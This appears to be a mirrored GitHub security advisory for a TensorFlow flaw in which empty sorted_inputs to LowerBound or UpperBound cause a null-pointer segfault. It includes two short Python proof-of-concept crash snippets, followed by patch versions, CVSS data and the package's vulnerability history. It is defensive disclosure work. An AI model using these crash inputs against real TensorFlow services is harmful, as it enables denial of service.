TensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`
Impact
If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
import tensorflow as tf
out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
Patches
We have patched the issue in GitHub commit bce3717eaef4f769019fd18e990464ca4a2efeea.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qxpx-j395-pw36
- https://nvd.nist.gov/vuln/detail/CVE-2022-35965
- https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-qxpx-j395-pw36
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-476- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 16.09.2022
- Aktualisiert
- 11.10.2026 14:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-1030 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3233 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-qxpx-j395-pw36 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3363 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 433
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 112
- Mittel 210
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
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